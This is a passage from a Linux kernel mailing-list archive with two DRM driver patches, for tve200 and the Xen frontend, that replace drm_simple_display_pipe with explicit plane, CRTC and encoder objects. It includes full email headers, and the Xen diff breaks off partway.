+	.atomic_check	= tve200_plane_helper_atomic_check,
+	.atomic_update	= tve200_plane_helper_atomic_update,
+};
+
+static const struct drm_plane_funcs tve200_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static void tve200_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_plane *plane = &pipe->plane;
 	struct drm_device *drm = crtc->dev;
 	struct tve200_drm_dev_private *priv = drm->dev_private;
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
 	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *fb = plane->state->fb;
+	struct drm_plane_state *plane_state = priv->plane.state;
+	struct drm_framebuffer *fb = plane_state->fb;
 	struct drm_connector *connector = priv->connector;
 	u32 format = fb->format->format;
 	u32 ctrl1 = 0;
@@ -240,9 +317,9 @@ static void tve200_display_enable(struct drm_simple_display_pipe *pipe,
 	drm_crtc_vblank_on(crtc);
 }
 
-static void tve200_display_disable(struct drm_simple_display_pipe *pipe)
+static void tve200_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					      struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct tve200_drm_dev_private *priv = drm->dev_private;
 
@@ -255,46 +332,8 @@ static void tve200_display_disable(struct drm_simple_display_pipe *pipe)
 	clk_disable_unprepare(priv->clk);
 }
 
-static void tve200_display_update(struct drm_simple_display_pipe *pipe,
-				 struct drm_plane_state *old_pstate)
-{
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_device *drm = crtc->dev;
-	struct tve200_drm_dev_private *priv = drm->dev_private;
-	struct drm_pending_vblank_event *event = crtc->state->event;
-	struct drm_plane *plane = &pipe->plane;
-	struct drm_plane_state *pstate = plane->state;
-	struct drm_framebuffer *fb = pstate->fb;
-
-	if (fb) {
-		/* For RGB, the Y component is used as base address */
-		writel(drm_fb_dma_get_gem_addr(fb, pstate, 0),
-		       priv->regs + TVE200_Y_FRAME_BASE_ADDR);
-
-		/* For three plane YUV we need two more addresses */
-		if (fb->format->format == DRM_FORMAT_YUV420) {
-			writel(drm_fb_dma_get_gem_addr(fb, pstate, 1),
-			       priv->regs + TVE200_U_FRAME_BASE_ADDR);
-			writel(drm_fb_dma_get_gem_addr(fb, pstate, 2),
-			       priv->regs + TVE200_V_FRAME_BASE_ADDR);
-		}
-	}
-
-	if (event) {
-		crtc->state->event = NULL;
-
-		spin_lock_irq(&crtc->dev->event_lock);
-		if (crtc->state->active && drm_crtc_vblank_get(crtc) == 0)
-			drm_crtc_arm_vblank_event(crtc, event);
-		else
-			drm_crtc_send_vblank_event(crtc, event);
-		spin_unlock_irq(&crtc->dev->event_lock);
-	}
-}
-
-static int tve200_display_enable_vblank(struct drm_simple_display_pipe *pipe)
+static int tve200_crtc_enable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct tve200_drm_dev_private *priv = drm->dev_private;
 
@@ -304,22 +343,48 @@ static int tve200_display_enable_vblank(struct drm_simple_display_pipe *pipe)
 	return 0;
 }
 
-static void tve200_display_disable_vblank(struct drm_simple_display_pipe *pipe)
+static void tve200_crtc_disable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct tve200_drm_dev_private *priv = drm->dev_private;
 
 	writel(0, priv->regs + TVE200_INT_EN);
 }
 
-static const struct drm_simple_display_pipe_funcs tve200_display_funcs = {
-	.check = tve200_display_check,
-	.enable = tve200_display_enable,
-	.disable = tve200_display_disable,
-	.update = tve200_display_update,
-	.enable_vblank = tve200_display_enable_vblank,
-	.disable_vblank = tve200_display_disable_vblank,
+static int tve200_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static const struct drm_crtc_helper_funcs tve200_crtc_helper_funcs = {
+	.atomic_check	= tve200_crtc_helper_atomic_check,
+	.atomic_enable	= tve200_crtc_helper_atomic_enable,
+	.atomic_disable	= tve200_crtc_helper_atomic_disable,
+	.atomic_flush	= tve200_crtc_helper_atomic_flush,
+};
+
+static const struct drm_crtc_funcs tve200_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+	.enable_vblank		= tve200_crtc_enable_vblank,
+	.disable_vblank		= tve200_crtc_disable_vblank,
+};
+
+static const struct drm_encoder_funcs tve200_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 int tve200_display_init(struct drm_device *drm)
@@ -346,13 +411,31 @@ int tve200_display_init(struct drm_device *drm)
 		DRM_FORMAT_YUV420,
 	};
 
-	ret = drm_simple_display_pipe_init(drm, &priv->pipe,
-					   &tve200_display_funcs,
-					   formats, ARRAY_SIZE(formats),
-					   NULL,
-					   priv->connector);
+	ret = drm_universal_plane_init(drm, &priv->plane, 0,
+				       &tve200_plane_funcs,
+				       formats, ARRAY_SIZE(formats),
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
 	if (ret)
 		return ret;
 
+	drm_plane_helper_add(&priv->plane, &tve200_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, &priv->crtc,
+					&priv->plane, NULL,
+					&tve200_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+
+	drm_crtc_helper_add(&priv->crtc, &tve200_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, &priv->encoder,
+			       &tve200_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+
+	priv->encoder.possible_crtcs = drm_crtc_mask(&priv->crtc);
+
 	return 0;
 }
diff --git a/drivers/gpu/drm/tve200/tve200_drm.h b/drivers/gpu/drm/tve200/tve200_drm.h
index 5420b52ea16b..631a9f5d9aa6 100644
--- a/drivers/gpu/drm/tve200/tve200_drm.h
+++ b/drivers/gpu/drm/tve200/tve200_drm.h
@@ -15,8 +15,6 @@
 
 #include <linux/irqreturn.h>
 
-#include <drm/drm_simple_kms_helper.h>
-
 struct clk;
 struct drm_bridge;
 struct drm_connector;
@@ -107,7 +105,9 @@ struct tve200_drm_dev_private {
 	struct drm_connector *connector;
 	struct drm_panel *panel;
 	struct drm_bridge *bridge;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 
 	void *regs;
 	struct clk *pclk;
diff --git a/drivers/gpu/drm/tve200/tve200_drv.c b/drivers/gpu/drm/tve200/tve200_drv.c
index 562f3f11812a..0b8096b1e600 100644
--- a/drivers/gpu/drm/tve200/tve200_drv.c
+++ b/drivers/gpu/drm/tve200/tve200_drv.c
@@ -105,16 +105,20 @@ static int tve200_modeset_init(struct drm_device *dev)
 		goto out_bridge;
 	}
 
-	ret = drm_simple_display_pipe_attach_bridge(&priv->pipe,
-						    bridge);
+	priv->panel = panel;
+	priv->bridge = bridge;
+
+	ret = drm_bridge_attach(&priv->encoder, bridge, NULL, 0);
 	if (ret) {
 		dev_err(dev->dev, "failed to attach bridge\n");
 		goto out_bridge;
 	}
 
-	priv->panel = panel;
 	priv->connector = drm_panel_bridge_connector(bridge);
-	priv->bridge = bridge;
+	if (!priv->connector) {
+		ret = -ENODEV;
+		goto out_bridge;
+	}
 
 	dev_info(dev->dev, "attached to panel %s\n",
 		 dev_name(panel->dev));

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:03:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:03:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363610.1615209 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkI0W-0004aW-Bn; Thu, 16 Jul 2026 09:03:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363610.1615209; Thu, 16 Jul 2026 09:03:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkI0W-0004aN-71; Thu, 16 Jul 2026 09:03:52 +0000
Received: by outflank-mailman (input) for mailman id 1363610;
 Thu, 16 Jul 2026 09:03:50 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wkI0U-0004Xc-8W
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:03:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkI0T-005AvS-LM
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:03:49 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e72-2eae-0a2a0a5409dd-0a2a45089da2-16
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:48 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e72-f659-0a2a45080019-cddca883a098-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:48 +0200
Received: from pps.filterd (m0279867.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66G7DWTu3122398
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:46 GMT
Received: from mail-pg1-f199.google.com (mail-pg1-f199.google.com
 [209.85.215.199])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4feq3ph75s-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:46 +0000 (GMT)
Received: by mail-pg1-f199.google.com with SMTP id
 41be03b00d2f7-cb11535e6a1so2924732a12.0
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 02:03:46 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-2cf106b271asm16592555ad.64.2026.07.16.02.03.38
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 16 Jul 2026 02:03:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	v2+SC8wnTcWyUocd5OZE0bKBPwgO9xMWYvTc4EEJHLo=; b=NTWCIvEikV6s+evA
	+JwWW2EBvb6KUmHZ8opJCCxEKSHFFkaBv635L+zgOFvV52cN2uFzSA7FA8Vn9yzj
	R8gzlEv3HglAidC/bQA7O7iDm0CP2xsSdhq+FK4815sH0XX/5PuvRqaL2yrqiKPb
	zk6dSpeFX2ENutYTxHrGtg5kj2FewvD7TZq5/1WNZ4/bU1SXbPCchz6U8S5Tewc8
	CUaHVpxismyN3yf7ha8vbpaAi0JODc7hFLYAcmhamonOLzfAFWOHsZ+sbUCvxOiU
	3hm1FkQxR2BRm6t4Ki9Kn3U3CQNaeh8mqILAdNfYpfaOAm1/YYoTp6PIdLGsIvPi
	PHd54Q==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784192626; x=1784797426; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=v2+SC8wnTcWyUocd5OZE0bKBPwgO9xMWYvTc4EEJHLo=;
        b=PUPqKOI0QbhzvCjFpJGLOlUKnKJZ1490aDp88Vbklc8oNriAWXhWe+1Vh/4jZ8gYli
         zG3txlgFDWEbR+F8R3qRgPWIVw+GMeB8wkE9ktwL9UmCNtClcNdLQ1MveSfUF1ytKJ5Z
         jupxKmp1kNrIp5S5GEBR4cwJQ+vK224KKJCuMjCafRrpguYQtaWaFIWtL1Bovh/vRwz4
         YZIq6oEkkrQVyyywGExQ3PsqZ9Is2H/3LiUE/H+de3OHRZ3n7fPBZvRLBOyrtbh2mOhb
         ixFO2+0MzYe1L8DKyfFJc8x+9KjW+ziFhafHAFSWOwp3rruonfAdgQyA8/G+I3t9mcep
         0XMA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784192626; x=1784797426;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=v2+SC8wnTcWyUocd5OZE0bKBPwgO9xMWYvTc4EEJHLo=;
        b=FL7N1BrV+OvTltqxXyApigPv6L5iUsmhu6aeAj7kNbRvsngNiqWTy+iwNPnZPUdng0
         lkt71sGScWCRoJaohs5W1Ikb0Nrd4N1exn9ugdTUP5U9MGL3T1hL5Oi560xG8V0YX/9U
         xOQWU1V4wvN6ZH+0AUbOKebYyIZzp+P4IIsklN+YoGMrTCrYPCkthNiMYSjMPqMGuE1y
         J9SteVy7zCWrc8BXKCcpJofSY0ihsvZPbvqAhWbqml4n6elIK+xkTCIf8NC/BFCopAZu
         p3vBtS0qD1SSTmsV1+9yNt8Nzl5ZPXeiVXtVVQDALwpIevrmXzlSrKko/S18aU1rlA4A
         EMfg==
X-Forwarded-Encrypted: i=1; AHgh+Rprvtv+SCBbRCVnVGt7JKwUK9QQpkOr7wjNSJ85BDzOwtFsPpPCAZsVCM4G6hdMh9QLFvmPLVvgnHw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwO+ufHgNbEx7RydxfDZY9AtUD6DdMLQdiLbf3WeIx0lMhkZ1q3
	YvwgGUnEwf1LhjBfpQL/jLO2ZvN0JSxlInlUBWI5xOrFvXKv0smOvGWkB9tfIsu2t/pUHEdLyBX
	4/YbiKcFTVk6IiiqJ+jiIrOBUzvYuxAhy98opB+wLYBS/bCJuTCG8vGrS09MwbZDbLTqegWSXun
	mK6Irx
X-Gm-Gg: AfdE7cldE4dL/0xuxGktw4A6UEdnOiq3RJuSCkKdpWcHZzSOFgS3YHl9mvHlmlq3AtY
	N/g5C6LL4gY5ZAi+ovUNYtdi+/W5djdkT4hpehi/eUCvuXtfRN8OLzVSZygKfK5etJtCcm5H3K1
	3FPFwXW/G9REK+QqrDKjQnsSRpX9oh3MmuD7zp1zfCKXaptCGoU+S+UFODHOJI/EdlcxIB8qI48
	xOUrxmSohkC/e04xrDcnhrzSA7Opiz8ekjXduftEklkuBptjh22zH7acB27Rv8gfdeRT1U1/bqE
	NIVtNPDXrTHozfMWfVBlrznWyW13F2UimI8Detk9PWKOtIm40KwLg9y0fOq+AJ3vzAu1AnyawFb
	KxTkoRaegp3AAps2fHacv
X-Received: by 2002:a17:90b:5906:b0:381:26f:8f05 with SMTP id 98e67ed59e1d1-38e29ff97bdmr6389548a91.3.1784192625548;
        Thu, 16 Jul 2026 02:03:45 -0700 (PDT)
X-Received: by 2002:a17:90b:5906:b0:381:26f:8f05 with SMTP id 98e67ed59e1d1-38e29ff97bdmr6389504a91.3.1784192624999;
        Thu, 16 Jul 2026 02:03:44 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Thu, 16 Jul 2026 17:02:00 +0800
Subject: [PATCH v2 8/8] drm/xen: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260716-drm-simple-kms-removal-v2-8-1133a8fc3785@oss.qualcomm.com>
References: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
In-Reply-To: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1784192560; l=11771;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=7XOFYlYAlSV+ozAl18A522abXND+69x4cTAvNkGYHmc=;
 b=GX2ZCGixdNsbm2dBAUjK6OkStWwzedAdHGWUe6gP5dpu2NfD1Po9grA6MgTJQZLa9fCVl6Nx9
 7qvMt1rcjWIADy/IhoJ5BQYdNhix/jd8KvBJH9LhdvnhvaUeaGWR/3m
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Proofpoint-ORIG-GUID: NmXBTGK-Np9rG1ri53VWAZESQS-zSSh9
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfX7nn9s9Twzfen
 WmiD8zTX3+qY8skjhVgyXvWaxKmPjYIPs4Wc0wThrqCQ/AFSQKjZLYi21WWKwPOaztsHDDkElal
 r8Vx4UuPZXwmJljxvZvzHXP8We3TbaI=
X-Proofpoint-GUID: NmXBTGK-Np9rG1ri53VWAZESQS-zSSh9
X-Authority-Analysis: v=2.4 cv=PN8/P/qC c=1 sm=1 tr=0 ts=6a589e72 cx=c_pps
 a=Oh5Dbbf/trHjhBongsHeRQ==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=eoimf2acIAo5FJnRuUoq:22
 a=EUspDBNiAAAA:8 a=yt2wVW2Sl_HzNKkdQ3QA:9 a=QEXdDO2ut3YA:10
 a=_Vgx9l1VpLgwpw_dHYaR:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfX/XgyrNMS41kU
 ydKvhOLC+pVYIHXaNK0zw5j+9V+jE0zbMu7Bq/QscBjoIYZNPqiJomrYzAFvzF3FwLCT2Ni2AGl
 3EM2gWxWU1Gyi60WRiP+bAQy5TVfrHN7Q+Y+4eH8drNsBu79pC5GUETHESFKz07w3+3w7byFLek
 eNe2+50l+YZ1ufaZUoxYikPnVorF4rdG02ts1RpNeWSxzIwss4jXHLIfkCa0AX3EAQJd2w7U7bw
 vuv2wK95DsP8eQ+ntyxHfFjxqTtgQOzzKol3sHNQZznDvXQRX+UQjCOt62dWEMCK8go2KsdwK3G
 yviS3crP6gi34g9CHP0kWZ05lzYADUQxwHq+SYTKKpIuUFJ7/KGpuV0VeA9JsjD0YJWuvx0RQcm
 QwXfKqfYzzMeRWXZHxCmhDcKC5Go9WejtFnn92y6OwKtvy4OT0Lurm/aLevf/K6BnpDklcgiq4l
 KY80UOR7Ig1uQ7w4egQ==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-16_03,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 bulkscore=0 malwarescore=0 lowpriorityscore=0 phishscore=0 adultscore=0
 priorityscore=1501 impostorscore=0 clxscore=1015 suspectscore=0 spamscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607160091
X-purgate-ID: tlsNG-c1860d/1784192628-CE54487B-283DF9BB/0/0
X-purgate-type: clean
X-purgate-size: 11773

Replace Xen frontend simple display pipe with explicit plane, CRTC and
encoder objects for each pipeline.

Keep generic plane-state validation before Xen-specific checks, and
install GEM framebuffer prepare helper explicitly.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/xen/xen_drm_front.h     |   6 +-
 drivers/gpu/drm/xen/xen_drm_front_kms.c | 175 ++++++++++++++++++++++++--------
 2 files changed, 134 insertions(+), 47 deletions(-)

diff --git a/drivers/gpu/drm/xen/xen_drm_front.h b/drivers/gpu/drm/xen/xen_drm_front.h
index a987c78abe41..02138b5abef5 100644
--- a/drivers/gpu/drm/xen/xen_drm_front.h
+++ b/drivers/gpu/drm/xen/xen_drm_front.h
@@ -14,7 +14,7 @@
 #include <linux/scatterlist.h>
 
 #include <drm/drm_connector.h>
-#include <drm/drm_simple_kms_helper.h>
+#include <drm/drm_encoder.h>
 
 #include "xen_drm_front_cfg.h"
 
@@ -100,7 +100,9 @@ struct xen_drm_front_drm_pipeline {
 
 	int index;
 
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 
 	struct drm_connector conn;
 	/* These are only for connector mode checking */
diff --git a/drivers/gpu/drm/xen/xen_drm_front_kms.c b/drivers/gpu/drm/xen/xen_drm_front_kms.c
index 48772b5fe71c..f869da3f3058 100644
--- a/drivers/gpu/drm/xen/xen_drm_front_kms.c
+++ b/drivers/gpu/drm/xen/xen_drm_front_kms.c
@@ -31,9 +31,15 @@
 #define FRAME_DONE_TO_MS	(XEN_DRM_FRONT_WAIT_BACK_MS + 100)
 
 static struct xen_drm_front_drm_pipeline *
-to_xen_drm_pipeline(struct drm_simple_display_pipe *pipe)
+xen_drm_pipeline_from_crtc(struct drm_crtc *crtc)
 {
-	return container_of(pipe, struct xen_drm_front_drm_pipeline, pipe);
+	return container_of(crtc, struct xen_drm_front_drm_pipeline, crtc);
+}
+
+static struct xen_drm_front_drm_pipeline *
+xen_drm_pipeline_from_plane(struct drm_plane *plane)
+{
+	return container_of(plane, struct xen_drm_front_drm_pipeline, plane);
 }
 
 static void fb_destroy(struct drm_framebuffer *fb)
@@ -94,7 +100,7 @@ static const struct drm_mode_config_funcs mode_config_funcs = {
 
 static void send_pending_event(struct xen_drm_front_drm_pipeline *pipeline)
 {
-	struct drm_crtc *crtc = &pipeline->pipe.crtc;
+	struct drm_crtc *crtc = &pipeline->crtc;
 	struct drm_device *dev = crtc->dev;
 	unsigned long flags;
 
@@ -105,24 +111,21 @@ static void send_pending_event(struct xen_drm_front_drm_pipeline *pipeline)
 	spin_unlock_irqrestore(&dev->event_lock, flags);
 }
 
-static void display_enable(struct drm_simple_display_pipe *pipe,
-			   struct drm_crtc_state *crtc_state,
-			   struct drm_plane_state *plane_state)
+static void xen_drm_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					      struct drm_atomic_commit *commit)
 {
-	struct xen_drm_front_drm_pipeline *pipeline =
-			to_xen_drm_pipeline(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct xen_drm_front_drm_pipeline *pipeline = xen_drm_pipeline_from_crtc(crtc);
+	struct drm_plane_state *plane_state = pipeline->plane.state;
 	struct drm_framebuffer *fb = plane_state->fb;
 	int ret, idx;
 
-	if (!drm_dev_enter(pipe->crtc.dev, &idx))
+	if (!drm_dev_enter(crtc->dev, &idx))
 		return;
 
 	ret = xen_drm_front_mode_set(pipeline, crtc->x, crtc->y,
 				     fb->width, fb->height,
 				     fb->format->cpp[0] * 8,
 				     xen_drm_front_fb_to_cookie(fb));
-
 	if (ret) {
 		DRM_ERROR("Failed to enable display: %d\n", ret);
 		pipeline->conn_connected = false;
@@ -131,13 +134,13 @@ static void display_enable(struct drm_simple_display_pipe *pipe,
 	drm_dev_exit(idx);
 }
 
-static void display_disable(struct drm_simple_display_pipe *pipe)
+static void xen_drm_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *commit)
 {
-	struct xen_drm_front_drm_pipeline *pipeline =
-			to_xen_drm_pipeline(pipe);
+	struct xen_drm_front_drm_pipeline *pipeline = xen_drm_pipeline_from_crtc(crtc);
 	int ret = 0, idx;
 
-	if (drm_dev_enter(pipe->crtc.dev, &idx)) {
+	if (drm_dev_enter(crtc->dev, &idx)) {
 		ret = xen_drm_front_mode_set(pipeline, 0, 0, 0, 0, 0,
 					     xen_drm_front_fb_to_cookie(NULL));
 		drm_dev_exit(idx);
@@ -177,12 +180,13 @@ static void pflip_to_worker(struct work_struct *work)
 	send_pending_event(pipeline);
 }
 
-static bool display_send_page_flip(struct drm_simple_display_pipe *pipe,
+static bool display_send_page_flip(struct xen_drm_front_drm_pipeline *pipeline,
+				   struct drm_atomic_commit *commit,
 				   struct drm_plane_state *old_plane_state)
 {
 	struct drm_plane_state *plane_state =
-			drm_atomic_get_new_plane_state(old_plane_state->state,
-						       &pipe->plane);
+			drm_atomic_get_new_plane_state(commit,
+						       &pipeline->plane);
 
 	/*
 	 * If old_plane_state->fb is NULL and plane_state->fb is not,
@@ -193,8 +197,6 @@ static bool display_send_page_flip(struct drm_simple_display_pipe *pipe,
 	 * sent to the backend as a part of display_set_config call.
 	 */
 	if (old_plane_state->fb && plane_state->fb) {
-		struct xen_drm_front_drm_pipeline *pipeline =
-				to_xen_drm_pipeline(pipe);
 		struct xen_drm_front_drm_info *drm_info = pipeline->drm_info;
 		int ret;
 
@@ -224,10 +226,27 @@ static bool display_send_page_flip(struct drm_simple_display_pipe *pipe,
 	return false;
 }
 
-static int display_check(struct drm_simple_display_pipe *pipe,
-			 struct drm_plane_state *plane_state,
-			 struct drm_crtc_state *crtc_state)
+static int xen_drm_plane_helper_atomic_check(struct drm_plane *plane,
+					     struct drm_atomic_commit *commit)
 {
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc *crtc = plane_state->crtc;
+	struct drm_crtc_state *crtc_state = NULL;
+	int ret;
+
+	if (crtc)
+		crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+
+	ret = drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	if (ret)
+		return ret;
+
+	if (!plane_state->visible || !crtc_state)
+		return 0;
+
 	/*
 	 * Xen doesn't initialize vblanking via drm_vblank_init(), so
 	 * DRM helpers assume that it doesn't handle vblanking and start
@@ -242,12 +261,12 @@ static int display_check(struct drm_simple_display_pipe *pipe,
 	return 0;
 }
 
-static void display_update(struct drm_simple_display_pipe *pipe,
-			   struct drm_plane_state *old_plane_state)
